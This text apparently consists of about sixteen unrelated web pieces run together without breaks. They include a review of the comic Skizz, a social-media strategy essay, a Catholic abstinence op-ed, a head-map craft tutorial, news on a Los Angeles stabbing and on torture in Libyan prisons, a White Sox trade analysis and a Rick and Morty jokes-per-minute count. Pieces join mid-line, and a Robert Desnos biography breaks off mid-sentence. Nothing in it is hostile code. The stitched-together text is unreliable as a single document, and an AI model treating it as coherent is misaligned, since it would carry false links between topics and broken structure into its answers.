This is interesting considering that a new Despicable Me movie is in the works titled “Minions” set to come out in 2015 so we might see our first sightings on LEGO Despicable Me sets in 2015. What do you think, leave a comment below with your opinion!It’s the 1980s. A peaceful alien is stranded on Earth but soon finds a friend and protector in a human child. But the government, realising that a creature from another world has arrived, set out to track it down and capture it… If that sounds like the plot of the classic film E.T. – The Extra-Terrestrial, you’d be right. However, it’s also the basic plot of the classic 2000AD story Skizz. And before anybody starts shouting anything about being a rip-off, for all the similarities on the surface there are also countless differences which set it far apart. The first, and most obvious, is the presence of writer Alan Moore. Which means, for those who know his work, that all bets are off on what to expect.
Alien interpreter Zhcchz, of the Tau Ceti Imperium, is a rather harmless pacifist of a being, and his arrival in England’s “second city” of Birmingham is a curious one. It’s a town of working class people and punks, more alien to him than he is to them. Found by schoolgirl Roxy O’Rourke (who simply names him Skizz), they’re soon captured by an apartheid-era South African government maniac called Van Owen. However, with the help of Roxy and her friends Loz and Cornelius Cardew, they manage to escape and…
…and right now you’re probably still wondering how this is different from E.T.
The setting alone makes a huge difference. The location of Birmingham, and during the Thatcher era of Britain in particular, creates a sense of oppression in the same way as V For Vendetta did. The South African villain, while now an outdated cliché, fills that role too and both aspects of it reflect Moore and 2000AD’s rebellious nature to challenge oppressive regimes.
Roxy herself is a stunning character, and her emotional turmoil throughout the whole story is far more personal than anything E.T.’s Elliot ever offered. Meanwhile, unemployed pipe fitter and “violent manic depressive” Cardew is a symbol of how an uncaring society can grind down anybody, until all that’s left is personal pride.
This is one of Moore’s earliest pieces of work for 2000AD, less gleefully anarchic than D.R. & Quinch and less elegant than his masterpiece The Ballad Of Halo Jones. However, it still packs quite a punch. It plays on emotions, much like most of Moore’s best writing, without ever feeling too preachy.
The art by Jim Baikie, who also wrote the wonderful second and third series which are also contained in this edition, is fantastic and holds up against some of the best work even now. Every page and panel is used to create maximum impact, and it helps the story to flow so smoothly that it has an almost cinematic quality to it.
Individually, each series of Skizz had far more pros than cons. Collected together in this edition they’re even better. It’s easy to overlook Skizz as a product of its time, and today it’s somewhat forgotten. But in its own way, it stands as one of 2000AD’s better – albeit less obvious – series from over the years. It may not be essential, but you’d have to have a heart of stone to read it and not be affected by it.Lightning in a Bottle is moving to central California. This year's installment of the Do Lab-produced music and arts festival will take place May 22-26, 2014 at Monterey County's Lake San Antonio Recreation Area, in Bradley, California, West Coast Sound can exclusively report.
Last year's festival, held at Temecula's Lake Skinner Recreational Area, was riddled with controversy after undercover officers from a Riverside-county based task force arrested dozens of festival goers for drug-related offenses.
"It was a huge challenge and a huge disappointment to us, knowing that our audience wasn't thrilled with all aspects of the event," says Do Lab co-founder Dede Flemming. "It's our goal to produce an event where everyone leaves feeling energized and stoked about what they just experienced. Last year, because of some of the noise restrictions and some of the law enforcement presence, that wasn't the case. It was really hard on us."Social networking is so hot that Facebook, LinkedIn, Twitter, and Groupon have a combined pre-IPO valuation of more than $100 billion. Google is scrambling to respond, so much so that Larry Page, in one of his first major moves as CEO, made as much as 25% of all Google employee bonuses contingent on the company’s success in social networking.
You should be interested in social networking, too—though maybe not in the ways you think.
As I noted in a recent post, many companies are so swayed by capital market and media exuberance surrounding social media that they are looking at short-term opportunities and missing the long-term implications. For instance, companies may treat social media as a broadcast medium, when social media should be a mechanism for one-to-one and many-to-many conversations with customers. Or, companies may treat social media as an island, whose use is overseen by a separate group, when social media really should be an integrated component of a strategy for reaching customers, selling to them and providing service to them. Or, companies may look at social media as something they can sell, when social media really will turn out to be a channel, not a product.
Over the long term, the vast majority of companies will find that the greatest value from social media comes from leveraging it in areas such as these:
Education. Social media can provide a forum for reaching large numbers of people and educating them on products or on topics of broad interest, while also allowing users to educate each other. TradeKing, an online broker that makes extensive use of social media, found that clients who start trading stocks often ask others how to start trading options or other financial instruments. Companies that do the best job of providing education may increase loyalty and may even be able to nudge customers to buy more products, or try new ones.
Customer service. Companies can use social channels to spot problems that are widely felt and that might previously have been treated as isolated incidents and allowed to fester. As with education, companies can build a robust customer community and actually outsource work to the customers themselves. This offloads work (and therefore costs) and frees customer-service agents to focus on the most complex issues. Dell and Apple, for example, have shown that customers often enjoy helping others sort through problems—for nothing more than the social recognition for doing so. The approach is a win-win for all involved.
Entertainment. Social media can contribute to “gamification” and the fun factor of using products or interacting with a company. People like competing, whether it’s on investment portfolios or on their ability to outdo the experts at ESPN and Sports Illustrated in picking winners of football games, and social platforms are a natural place for competitions. Many companies are generating interest by facilitating competitions and increasing users’ loyalty through systems of rewards.
Community. Perhaps the most powerful opportunity enabled by social media is to foster communities of like-minded people, who then, in turn, determine how to leverage and strengthen those communities. For example, Charles Schwab has brought together retirees who use Schwab's pilot community platform to share tips with each other on how to manage their IRAs, how to minimize expenses, etc. In a world where information is overflowing and increasingly commoditized, those hosting active communities will establish stronger relationships and higher barriers to exit. As I wrote in an earlier post examining the demise of News Corporation's MySpace, the key is to abide by Reed’s Law, the principle that relates the value of social networks to how well they enable their members to form their own subgroups.
If you focus on education, customer service, entertainment and community, you won’t generate as much market value off social media as Facebook—but it was already too late for that. What you will do is position yourself for the real long-term opportunities enabled by social media.
How should companies not in the race to build the Internet’s social plumbing position themselves regarding social media? Let me know if you think I got it right or wrong.
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Follow me on Twitter @ChunkaMui. You can also sign up for email alerts of my new articles here and elsewhere.Robert Desnos ( French: [dɛsno:s]; 4 July 1900 – 8 June 1945) was a French surrealist poet who played a key role in the Surrealist movement of his day.
Biography [ edit ]
Robert Desnos was born in Paris on 4 July 1900, the son of a licensed dealer in game and poultry at the Halles market. Other sources state Desnos was the son of a Parisien café owner. Desnos attended commercial college, and started work as a |
in China.”
Chao concurred: “On social media everybody is posting things saying KFC, McDonalds, or Starbucks in this or that city are under attack, but I was just walking past an Apple store in Shanghai and nothing seemed to be going on. Well, everything is going on in the Apple store: everybody was playing with the devices.”
While these calls for boycotts, demonstrations, and abject expressions of xenophobia are bound to quickly defuse, is this flare-up representative of a deeper public sentiment? Is a broader, though more subtle, “Buy Chinese” movement on the rise that could have an adverse impact on the future growth of foreign brands in China?
“The nationalistic outbursts do have an impact on sales,” Tanner said. “In 2012, when anti-Japanese sentiment was running red hot, Japanese sales took a hit. For example, in March 2013, sales of Japanese cars dropped 14.3% year-on-year when the overall industry was growing in double digits.”
However, Tanner added that this anti-Japanese sentiment was part of a much broader campaign that had varying degrees of governmental and media support, and can only remotely be correlated with the demonstrations against foreign brands that we’re currently seeing. But that doesn’t mean that there isn’t a growing trend among Chinese consumers to buy domestic.
“Most Chinese consumers are inherently nationalistic and proud of what their country has done, and would rather support local brands in many categories,” Tanner said.
This position is backed up by a McKinsey report from last year, which found that 62% of Chinese consumers now prefer domestic brands if the quality and price are equal. In 2009, that number was 42%.
“Any self-respecting Chinese consumer wouldn't be seen dead with a local brand,” Tanner described the attitude of this earlier era to me in a previous interview.
This has now changed. The “Buy Chinese” ethic isn’t all nationalistic jingoism, as Chinese products now present a viable consumer option in and of themselves, having drastically improved their quality, marketing, and distribution channels. A decade ago, the rejection of foreign brands in China on patriotic grounds would have left a prospective boycotter at a clear disadvantage, as there were simply not comparable domestic options that could seamlessly take the place of their better established, higher quality international rivals. But now, the Chinese brand has emerged, and companies like Huawei, Xiaomi, and Oppo/Vivo are now putting out products that are on par with their foreign competition. In 2011, Nokia, Samsung, and Apple made up 70% of smartphone sales in China. Just five years later, this has flipped: 84% of smartphones sold in China are from domestic brands, according to a recent Counterpoint report.
Patriotism being demonstrated through consumer choices has also been popularized in China by key social figures and celebrities. This is no better exemplified than by Peng Liyuan, who very publicly flaunts domestic brand fashion.. In October 2012, a few months before she became the first lady, 86 percent of Chinese consumers said they would not consider buying domestic luxury products, according to a survey by Added Value. Just a year and a half later this number dropped to nine percent.
While in market segments where Chinese brands are comparable to foreign brands there is now a strong preference to buy domestic, this doesn't mean that foreign brand sales are "going to drop off a cliff," as Tanner pointed out. Although local competition is on the rise in all segments, foreign brands still reign supreme in China in the higher ends of areas such as food and beverages, health and vitamins, luxury goods, sports apparel, and automobiles. A huge number of people in China also still really like their iPhones and KFC, regardless of whatever this says about their patriotism.
However, without foreign brands possessing their key advantages — image and perceived higher quality — the preference or social pressure to buy domestic may erode their market position in China. To put it simply, foreign brands in China are no longer going to win huge swaths of consumers on name and “foreignness” alone; their pedestals have been eroded and they must now get down in the dirt with everyone else and fight for their respective share of the world's largest market.Ever thought about telling your girlfriend that you don’t want to sleep with her anymore? It’s an awkward conversation at best. But, I’m here to tell you that it will improve your relationship. I’m sure you’ve pegged me as a nutcase, but I did it, and my relationship—already on good footing—improved.
When my current girlfriend and I began dating over two years ago, I was a secular ex-Catholic. But, in September I rejoined the Catholic Church; not for relationship reasons, but because I’d been missing and yearning for a spiritual connection again. Unfortunately for my girlfriend and I, the Church does not allow extramarital sex—more properly referred to as the sin of fornication. Fortunately, however, we’d been talking about it for some time—several discussions over the summer—so she accepted it, albeit a bit confused.
I bowed my head reluctantly to the demands of The Church on our relationship, and indeed in the early days there were slip ups. But they have become steadily fewer, and our relationship has become steadily stronger. At first I was surprised, but as I explored the doctrine, the relationship’s new strength made more sense.
Put simply, the Church believes everything was created for a purpose by God. This includes sex. In its proper context, sex is a joyful thing, which should and does bring pleasure. The Church says that place is inside marriage—which brings me to ask the question: why?
The Church views sex as designed to unite spouses and bring new life into the world. It is an act of total giving, one with not just physical ramifications—pleasure and exercise—but spiritual ones as well. These two aspects are intimately connected. Spouses cannot have children on their own; in the sexual act where there are no barriers, the joining of complementary sexes creates a single reproductive union, a true join between partners. For this join to occur there must be two factors: marriage and openness to life (contraception cannot be used). Without these two factors, the spiritual nature of the sexual union is severely damaged or even destroyed.
With the spiritual meaning out of the equation, sex is reduced to both partners using the other for physical pleasure. Indeed, the act of using contraceptives is an act of distrust (though it is not meant that way most of the time). It implies that there is a need for protection from the deeper consequences of sex, from the true union. My girlfriend and I felt this in its absence. When we quit fooling around, a tension drained out of the relationship. We were more comfortable with each other; there wasn’t a demand that we should bring each other physical pleasure frequently and often.
Without the pressure of pleasure, we could spend more time doing things we already did, like walking, talking, and playing board games. The relationship matured into one of deeper trust, freed of the false note of sex purely for gratification. My girlfriend has become less confused about my reasons too. She has noticed the deepening trust as well, and noted I am kinder to her now than when we were sleeping together.
This Valentine’s day I would advise couples who want a better relationship, and for those who sometimes feel pressure around sex, to consider not sleeping together. Rather than focusing on and planning around sexual pleasure, focus on your partner. Sex, because of its spiritual potential, has a way of both consuming and unbalancing a relationship. It can cause partners to focus, consciously or subconsciously, on the pleasure and not their loved one. Focus on who you love this Valentine’s day, and try leaving the sex out of the picture—your relationship will feel more relaxed and both partners will be happier for it.
Correction: Due to an editing error, the originally published article implied that the Bible advocates for protection from the deeper consequences of sex, when the author’s intent was to describe the use of contraceptives as an act of distrust that implied the need for protection from the deeper consequences of sex.Jill K. Berry’s Head Maps are based on an old concept, the Phrenology Chart. Head maps were used in phrenology, a nineteenth century pseudoscience primarily based on the concept that personality characteristics are organized in the brain in sections. Jill, author of Personal Geographies, works with that concept, but of course, she makes the head map a lot more fun and a lot more personal. You can do the same!
In this project, Jill will lead you through the process of creating your own head map.
(This tutorial was previously published in the book Personal Geographies by Jill K. Berry, copyright 2011; republished here courtesy of CreateMixedMedia.com.)
Head Map
Before you begin this project, isolate an idea that is predominant inside your head, and then determine the opposite of this idea. You will create two overlaid maps using these ideas. The maps are overlaid because the combination creates the whole picture. Make up your own mind and map your head!
Inspired by…Phrenology Chart
Head maps were used in phrenology, a nineteenth century pseudoscience primarily based on the concept that personality characteristics are organized in the brain in sections. It was thought that the size of each section would shrink or grow depending upon the usage of its contents. Phrenologists believed you could decipher a person’s personality by the shapes and bumps on his or her head. The template at the end of this section is inspired by the sectioning tradition of phrenology and provides a jumping-off point to analyze the contents in your head.
My Map Story
The predominant idea of my head map is “My Idea of My Neighbor’s Day,” the opposite of which is “My Day.” I was forty-one when both of my kids were born, and being a stay-at-home mom was a huge adjustment from having a demanding career. Each day, I would walk my kids to school and gather with the other moms to watch them walk through the doors. It seemed to me that every mom, with the exception of me, was fit, groomed to perfection, cheerful, happily married and devoid of stress. Some of them had more kids than I did, and they balanced all of it with a smile on their faces and size six jeans.
I, on the other hand, was harried, always tired, running up and down the stairs all day and never well-dressed. At one point, this situation depressed me, but after creating the map and seeing how ridiculous it all was, I had to laugh. It was likely that the other moms felt far closer to how I did than I ever suspected.
Not all head maps are as lighthearted. When I teach this class, I listen to my students’ conversations as they discuss their predominant ideas and figure out their opposites. As I listen, I make a map of the their conversations called “Class Head.” In one class, my ears perked up when one student whispered, “What is the opposite of cancer?” The answer, we decided, was the rest of her journey that did not include cancer.
Materials and Tools
1—81⁄2″ × 11″ (21.5cm × 28cm) piece of cover weight paper
2—81⁄2″ × 11″ (21.5cm × 28cm) pieces of vellum
2 brads
black fine-tip permanent marker
head template
opaque crayons
paper hole punch
Step 1
Place the head template (see the end of this tutorial) on top of a piece of cover weight paper and two sheets of vellum on top of the template. Punch two holes in the tops of all four sheets at once. Remove one piece of vellum and set it aside. Fasten brads through the holes to hold the sheets together and keep them from sliding around as you work.
Step 2
Trace the head template onto the vellum using a black fine-tip permanent marker. Trace the grid if you desire.
Step 3
With a fine-tip permanent marker, draw symbols that represent your predominant thought. Remove the brads and the map you just finished.
Step 4
Turn the vellum over and color the symbols on the back of the vellum with opaque crayons. This creates a soft color under the sharp black of the pen and adds a playful element.
Step 5
Attach the blank sheet of vellum to the template and backing paper using the brads. Repeat Steps 1–4 to create a head map, this time using the opposite idea. Reattach all the pieces: the predominant idea on top, the opposite idea in the middle and the cover weight paper on the bottom.
From Personal Geographies by Jill K. Berry, 2011; republished here courtesy of www.createmixedmedia.com.
To Learn more about or purchase Personal Geographies by Jill K. Berry, click here.
You might also enjoy:
Podcast: Jill K. Berry and Her Iris Projects
Another Podcast with The Fabulous Jill Berry
Sumi Resist Technique with Jill Berry
Silencing Your Inner Critic
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You may also like these articles:Ministers' total control over broadcasters has been disastrous.
OCCASIONALLY, usually by accident (sometimes if they think nobody is listening) politicians say what they really believe.
''I have unfettered legal power,'' Communications Minister Stephen Conroy told an obscure conference in New York in September. ''If I say to everyone in this room, 'If you want to bid in our spectrum auction you'd better wear red underpants on your head', I've got some news for you. You'll be wearing them on your head.''
Conroy was clearly having a bit of fun. But he's right. He has complete, arbitrary and absolute control over who broadcasts on the airwaves and the circumstances in which they broadcast, and that control has been disastrous for television consumers.
Let's call this the ''red underpants'' theory of why Australian TV is so bad. Australia seems to have completely missed the great television renaissance. In the US and Britain, audiences are being treated to some of the most brilliant high-quality television the world has ever seen - think of everything from Mad Men to Breaking Bad to The Thick of It.Welcome, welcome and THANK-YOU to everyone reading this!
We are 30 hours into the campaign and we’re pretty pumped about the response so far! Keep sharing and doing whatever you can to pass the word around, and let’s hit this thing out of the park!
My name is Steve MacMartin, and I’m the lead writer for iDGi + brother of the dude in the videos. To give you an idea of how these updates will be laid out: Greg will introduce and discuss the subject in an unscripted video, along with any relevant footage, and then you can expect a detailed write-up from me on the same information. Most updates will also end with a point-form breakdown of all the key elements discussed.
We’re pretty excited to be back on Kickstarter. The last campaign for Consortium may have been the most stressful month of our lives, but it also ended up being a lot of fun. I suppose this means we’re a glutton for punishment, but that’s alright. We love fielding questions so please inundate us with your thoughts either through Kickstarter or by emailing us at support@interdimensionalgames.com. This is a direct line to Greg and I, and we’ll get back to you as soon as possible.
Since Greg covers the topic of our company mandate in the video, I just wanted to add a mention of what I think has been the most important company policy since we founded iDGi: Complete Transparency. I’m sure folks who backed our first campaign can attest to this, and to us it really is the only way to function as a company. Those who have opened their wallets to us, whether through the Consortium campaign or for the game itself post-launch, deserve nothing but the truth about the game and the company they’ve invested in. It’s really that simple. You’re giving us money so that we can continue doing what we love, and so the least we can do is treat you with respect.
Before this turns into a ramble, I guess my point is that we will continue with this policy as we move forward and onto the production phase of The Tower. We've learned so much from our first experience with Kickstarter and making our first game, so while we're extremely confident that we'll be kicking ass and taking names this time, we're also still human and will undoubtedly make some blunders along the way. That said, you can rest assured that you will always be kept up to date on our plans for tackling any and all problems that arise during production.
Thanks for reading, and stay tuned for plenty more updates to come. We may have more, but these are ones you can count on.
Day 3, January 20th: “Diplomacy and the Spoken Word” - The biggest mechanic used throughout Game One gets the biggest update. Diplomacy and dialogue elements will be given an overhaul for the Tower. Learn about what we plan to expand upon, and a few new things like the Conversation Manager and Agitation Meter.
- The biggest mechanic used throughout Game One gets the biggest update. Diplomacy and dialogue elements will be given an overhaul for the Tower. Learn about what we plan to expand upon, and a few new things like the Conversation Manager and Agitation Meter. Day 5, January 22nd: “The Churchill Tower” - A detailed discussion about the Churchill Tower itself. Learn about the context surrounding mysterious events leading up to the start of the game, the various areas of the Tower you’ll be able to explore, and some history on the Tower and the surrounding London of 2042.
- A detailed discussion about the Churchill Tower itself. Learn about the context surrounding mysterious events leading up to the start of the game, the various areas of the Tower you’ll be able to explore, and some history on the Tower and the surrounding London of 2042. Day 8, January 25th: “A Standalone or Continuing Experience” - An update to explain how the experience accommodates brand new players in addition to those importing universes from Consortium Game One.
- An update to explain how the experience accommodates brand new players in addition to those importing universes from Consortium Game One. Day 11, January 28th: “Consortium Bishop Combat 2.0.” - Shooty bits! An update dedicated to combat within the Tower, and how we plan to expand upon what was an underutilized mechanic in Game One and address the player feedback we received.
- Shooty bits! An update dedicated to combat within the Tower, and how we plan to expand upon what was an underutilized mechanic in Game One and address the player feedback we received. Day 14, January 31st: “Stealth” - A discussion about the newly introduced Stealth mechanic. Find out how it’s going to work, and why it will make for a perfect addition to the Bishop’s arsenal.
- A discussion about the newly introduced Stealth mechanic. Find out how it’s going to work, and why it will make for a perfect addition to the Bishop’s arsenal. Day 17, February 3rd: “The Eternal Conflict” - A rundown on the Consortium and their secret rival the Guardian Church. Who are these two factions, what do the represent, and why do we care?
A rundown on the Consortium and their secret rival the Guardian Church. Who are these two factions, what do the represent, and why do we care? Day 21, February 7th: “Characters” - A look into *some* of the more major new characters found within the Tower, as well as those returning from Game One.
A look into *some* of the more major new characters found within the Tower, as well as those returning from Game One. Day 24, February 10th: “Let’s Talk Consortium” - An update all about Game One of the iDGi-1 Trilogy. Includes a post mortem on the project, as well as links and information to get you all caught up on the backstory and gameworld we’ve been building for years.
- An update all about Game One of the iDGi-1 Trilogy. Includes a post mortem on the project, as well as links and information to get you all caught up on the backstory and gameworld we’ve been building for years. Day 28, February 14th: “Back to Zenlil: Unreal 4 Style” - Since the Tower Prophecy begins aboard Zenlil, the location of Game One, this update will show off the Unreal 4 version of Zenlil compared to the Source Engine version (hint: it’s better looking).
Until tomorrow, that's all for now!
- The Tower and iDGi teamPlease enable Javascript to watch this video
Two men were stabbed, one fatally, Saturday evening in Silver Lake following a possible road-rage incident in Hollywood, authorities said.
Officers responded about 6:50 p.m. to a report of a stabbing in the area of Sunset Boulevard and Bates Avenue, said Sgt. Douglas Bowler of the Los Angeles Police Department's Northeast Division.
They arrived to find two male victims, who were transported to Los Angeles County-USC Medical Center, where one of them died, according to the sergeant. The other victim was expected to survive after being "slightly injured," Bowler said.
The two men were not immediately identified.
The double stabbing occurred after an incident, on Santa Monica Boulevard in Hollywood, that was being investigated as a road-rage episode, the LAPD said.
Two people involved in the attack, described only as a black woman and a white man, remained at large, according to Bowler. Their vehicle was said to be a black SUV with mud flaps and a sticker on the rear window.
No other information was available."You Will" was an AT&T marketing campaign that launched in 1993, consisting of commercials directed by David Fincher.[1][2] Each ad presented a futuristic scenario beginning with "Have you ever…" and ending with "…you will. And the company that will bring it to you: AT&T."
The ads were narrated by Tom Selleck.[1]
The creative team that created the ad campaign at N.W. Ayer & Partners were Copy Supervisor Gordon Hasse, Art Supervisor Nick Scordato and Producer Gaston Braun.
In 2016, technology writer Timothy B. Lee commented that "overall, the ads were remarkably accurate in predicting the cutting-edge technologies of the coming decades. But the ads were mostly wrong about one thing: the company that brought these technologies to the world was not AT&T", except for AT&T provided some of the world's communication infrastructure.[3]
Innovations [ edit ]
The proposed innovations included:[4]Detainees in Libyan prisons are being subjected to torture, leading to many deaths, according to the latest report from Amnesty International released on Thursday.
“After all the promises to get detention centers under control, it is horrifying to find that there has been no progress to stop the use of torture,” said Donatella Rovera, Amnesty International's Senior Crisis Adviser, from Libya, in a statement.
The widespread torture and death in Libya’s prisons could be a sign abuses that were once used under former leader Muammar Gaddafi are still present in the country, The New York Times reported. Gaddafi was captured and killed in October in Libya.
Read more at GlobalPost: Libya: Was it better under Gaddafi?
There are currently 8,000 prisoners being held by various former rebel groups in 60 detention centers across Libya, according to UN High Commissioner for Human Rights Navi Pillay, the Associated Press reported. The UN is calling on Libya’s transitional government to take control of these makeshift prisons and stop the continued torture and deaths.
“There’s torture, extrajudicial executions, rape of both men and women,” Pillay told the AP. Pillay noted she is mainly concerned about sub-Saharan African detainees since brigades automatically assume them to be fighters for Gaddafi.
Read more at GlobalPost: Libya: Bani Walid clashes spark rumor that Gaddafi forces are regrouping
Doctors Without Borders suspended its work in prisons in Misrata on Thursday, saying the use of torture was so high, detainees were only brought to them in order to make them well enough for interrogation again, the AP reported.
“While many detainees have described their experiences of torture to us, some have proved too scared to speak — fearing harsher torture if they speak out — and just showed us their wounds,” Rovera said in a statement.
Amnesty International reported that the patterns of injuries observed by their members were consistent with the use of torture on several detainees, who died while in custody. It was found that detainees were usually tortured right after being held by local armed militias and under interrogation.
Some said they confessed to crimes they hadn’t committed just to end the torture, Amnesty International reported.
Read more at GlobalPost: Libya News: New Libya government must investigste Gaddafi's 32nd Brigade massacreFrom splendid supercars to household hatchbacks, there are no shortage of dazzling designs in the car industry.
So, to celebrate the weird and wonderful, we’ve been cooking up a deadly concoction of car mash ups – Dr Frankenstein eat your heart out.
LaTwizari
Renault Twizy + Ferrari LaFerrari
Ferrari’s LaFerrari and Renault’s Twizy are well recognised but for completely different reasons. So, we thought what the hell, let’s mix them together and see what we get and… Well, this is what we got.
Looking like a toy car that never made the shelves, we’re sure you’ll agree, this one should never blister the roads of planet earth.
Jultipla Renegade
Fiat Multipla + Jeep Renegade
Fiat’s Multipla can certainly be considered as a family favourite. Very rarely leaving the suburban streets, we decided to give this baby some teeth.
Amalgamating the Multipla’s body with the Jeep Renegade’s chassis, bumper, grill and wheels, we’ve created a force to be reckoned with. Forget suburban estates – try intrepid exploring.
McLaren Prius1
McLaren P1 + Toyota Prius
If there’s one car that still pushes the limits of controversy, it’s the Toyota Prius. Both loved and hated, this budget friendly hybrid isn’t renowned for its exquisite sporting style.
At the other end of the spectrum, you have the McLaren P1; lavish, swift and expensive. But mixing the two together proved to be… surprising. It shouldn’t work but… it does!
Robin X
Reliant Robin + Tesla Model X
If Elon Musk and Del Boy decided to create a car, this would be it. Completely reinventing the classic Reliant Robin with the clean, technological polish of the Tesla X’s engineering and style, this concoction is definitely worthy of the roads. Let’s kill the stigma and make delta cars great again!
VW H4mper Van
VW Camper Van + Hummer H4
One for the avid adventurers. Who said off-road camping wasn’t a thing? Modernising a VW camper van and merging it with the Hummer H4, this monster machine of dirt track mayhem is capable of scaling the steepest inclines. Forget hiking… mountain top camping just became easy, comfortable and fun!
Writing Credit: Connor NelsonThe offseason is upon us. Free agency officially begins tomorrow, as the five day exclusive window ends, and teams and agents are free to begin officially negotiating with anyone they choose. But as we’ve seen in past years, the start of the free agent period doesn’t really set off a signing frenzy; the baseball free agent market moves pretty slowly for most players.
And that’s because teams generally want to kick a bunch of tires before committing to one path, and that tire-kicking includes exploring the trade market, figuring out who is buying and who is selling. The last few years, the league has seen a drastic shortage of sellers, as teams within spitting distance of.500 decided to fancy themselves as contenders thanks to the addition of the second Wild Card and the financial incentives related to making a deep postseason run. The reality of 22 or 23 teams trying to add talent while only six or seven teams were looking to unload veterans made for a challenging trade environment, and resulted in a bunch of teams deciding that free agency was the way to go last year.
This year, though, the free agent market stinks. There just isn’t the kind of impact talent out there that teams are used to being able to throw money at, so the trade market is likely to be even more active than usual. And yet, we might be in a similar position in regards to the ratio of buyers and sellers.
In the AL, the Twins and A’s look like the only AL teams who would likely admit that they’re in the midst of a rebuilding effort. The NL has a few more teams openly looking long-term, but the Braves aren’t going to be selling big leaguers right as they move into their new ballpark, and the Padres and Phillies don’t have a lot left to sell at this point. Once again, it looks like there are going to be a lot more teams looking to add than subtract this winter.
That puts teams on the bubble in an interesting position. While no one wants to tear down a potential contender, this is a great market to be shopping premium talent, given the lack of quality free agents and the shortage of sellers with desirable players to move. Without alternatives to compete against, sellers with elite players to move could ask for absurd returns, and might actually get them from desperate buyers who are focused solely on the short-term upgrade. And that set of circumstances puts the White Sox in a particularly great position to make sure the Hot Stove Season runs through the south side of Chicago.
The White Sox were one of the bubble teams who went the other way last year, acquiring Todd Frazier and Brett Lawrie to try and upgrade their infield in an attempt to win while Chris Sale and Jose Abreu were still in their primes. It didn’t work, as the team limped to a 78-84 record, and now have even more evidence that they just don’t quite have enough talent to make a run with this team as assembled. Trying one more time to bolster the secondary players on the team, in a weak free agent market, seems like it’s more likely to fail than succeed. This time, Rick Hahn should probably take the opportunity to be the auctioneer with some one-of-a-kind pieces to sell.
Obviously, Chris Sale is the first name everyone thinks of when they think about the White Sox blowing it up. But the reality is that the team could do much more than just make a blockbuster deal for their #1 starter.
Jose Quintana is also better than any other pitcher on either the free agent or trade market, and is under club control through 2020 at bargain prices. Abreu has lost some value by going the wrong way offensively the last few years, but he finished the second half on a big upswing, and remains vastly underpriced relative to what it will cost to sign an inferior player like Mark Trumbo. Todd Frazier remains a solid player, and though he won’t bring back a premium return with just one year left before he hits free agency, he might command nearly as much in return in this weak market for bats as he cost the White Sox last year.
And then there’s the bullpen. The price of relievers went through the roof last winter, and after what we just saw in the postseason, the price of bullpen arms is probably going up again. This is one area where there are free agent options, but there are going to be teams who want to upgrade their relief corps without committing five or six years to a guy like Aroldis Chapman or Kenley Jansen. And the White Sox have two guys who would work as quality alternatives to the big ticket closers.
David Robertson is the name-value guy, and has been one of the best closers in baseball for a while now. His command went the wrong way last year, but the stuff is still there, and with just 2/$25M left on his deal, he now costs about as much as a decent setup man. But the real chip in the White Sox bullpen isn’t Robertson; it’s Nate Jones.
The fireballing setup guy was quietly one of the best relievers in the game last year, harnessing his velocity and turning himself into a dominant right-hander. And because the White Sox signed him to a cheap long-term deal a year ago, when he was just fresh off returning from Tommy John surgery, he’s one of the most cost effective relievers in baseball for the next few years. Jones is set to make $1.9 million next year, $4 million in 2018, then had options for $4.6 and $5.2 million in 2019 and 2020; assuming those are picked up, any team acquiring Jones would owe him a total of $15.7 million over the next four years. That’s less than what one year of a guy like Jansen or Chapman will cost.
Jones could easily be this year’s Ken Giles, the target of a team that wants a flame-throwing relief ace for multiple years but doesn’t want to get into a free agent bidding war. And there are a number of teams in baseball that will prefer to convert their minor leaguers into guys like Jones rather than throwing money at trying to buy wins in this free agent class.
In Sale, Quintana, Abreu, Jones, and Robertson, the White Sox have five valuable trade chips, and that’s assuming they would prefer to keep Adam Eaton, who has turned himself into one of the best outfielders in baseball too. If they put Eaton on the blocks too, they’d have six of the most coveted players on the market, and would have something for almost literally every buyer out there.
Now, maybe the White Sox don’t want to blow things up to that degree, but the circumstances are in their favor if they want to run the winter. There aren’t many other teams capable of opening up shop in this way, and there won’t be another winter with this kind of dearth of quality free agents for a while. If Rick Hahn wants to, he can make himself a kingmaker this winter, and potentially set the White Sox up in a great position for the next decade.
The next few years will be rough if they do gut the roster like this, but with the ability to command premium returns this winter, the payoff could well be worth it. I know they’d rather win with Sale as a member of the franchise, but given what this winter’s landscape looks like, the White Sox should probably choose to be the team that takes advantage of a serious seller’s market.Let’s make something clear. This whole calculating jokes per minute thing has always been a hopeless venture. What is a joke? Isn’t that subjective? How does one go about measuring them? Well, that’s never stopped us before and we stand by our many scientifically dubious studies.
Rick and Morty, though, has always represented the most difficult case. Here is a show so hilarious, so multi-layered, so…relentless that it’s almost impossible to keep up with not just the sheer amount of jokes but also the complexity.
This is Jokes Per Minute Ph.D. And we’re still giving it a shot. Now that Rick and Morty season 3 has “premiered” with a wonderfully unexpected and truly exceptional April Fool’s Day airing, and now that it's back on a regular schedule, we’re picking back up the abacuses and putting on our old-timey accountant visors to make sure we leave no joke behind.
Rick and Morty Season 3 Total JPM: 9.16
Episode 10: The Rickchurian Candidate
Running Time: 22:44
Total Number of Jokes: 206
JPM: 9.18
Best Joke: “Oh I GOT pubes, Commander-in-Queef. You wanna count ‘em?” - Morty
As has been covered by many Internet publications and our own excellent Joe Matar, “The Rickchurian Candidate” is kind of weird. Well weird in the Rick and Morty sense that it’s not that weird. It’s a surprisingly conventional finale to a wildly inventive, off-the-wall and wonderful season of television. Having watched it twice now, I’m still not entirely sure what i was going for and why the season decided to end with a sudden resolution to the Jerry and Rick “conflict.”
Regardless, however, JPM cares not for “weird.” JPM is only about three things. Jokes, Pers, and Minutes. So how does “The Rickchurain Candidate” fare? 9.18 puts this finale almost exactly in the middle for season 3. That seems fair to me as there is an extended scene of Rick in a vicious battle with President Keith David (I just consider it canon that Keith David is the President). And I think this season has made us all pretty desensitized to how many jokes this show can pack in a minute. NINE FREAKING JOKES! Damn. This was a great season of Rick and Morty that forever changed our expectations for how many jokes are possible per minute in one TV show.
Episode 9: The ABCs of Beth
Running Time: 22:13
Total Number of Jokes: 217
JPM: 9.81
Best Joke: “But Tommy’s still in there raping muppets and eating babies!” – Beth
I want to describe this as an unusually philosophical and emotionally-grounded episode of Rick and Morty but then I see the quote I chose for best joke and...this show is great. "The ABCs of Beth" nestles neatly into the middle-ish of season 3 JPM-wise. That's not entirely surprising because it features major moments of rapid-fire joke rattling followed by an extended exploration into the depths of Beth Smith nee Sanchez's soul.
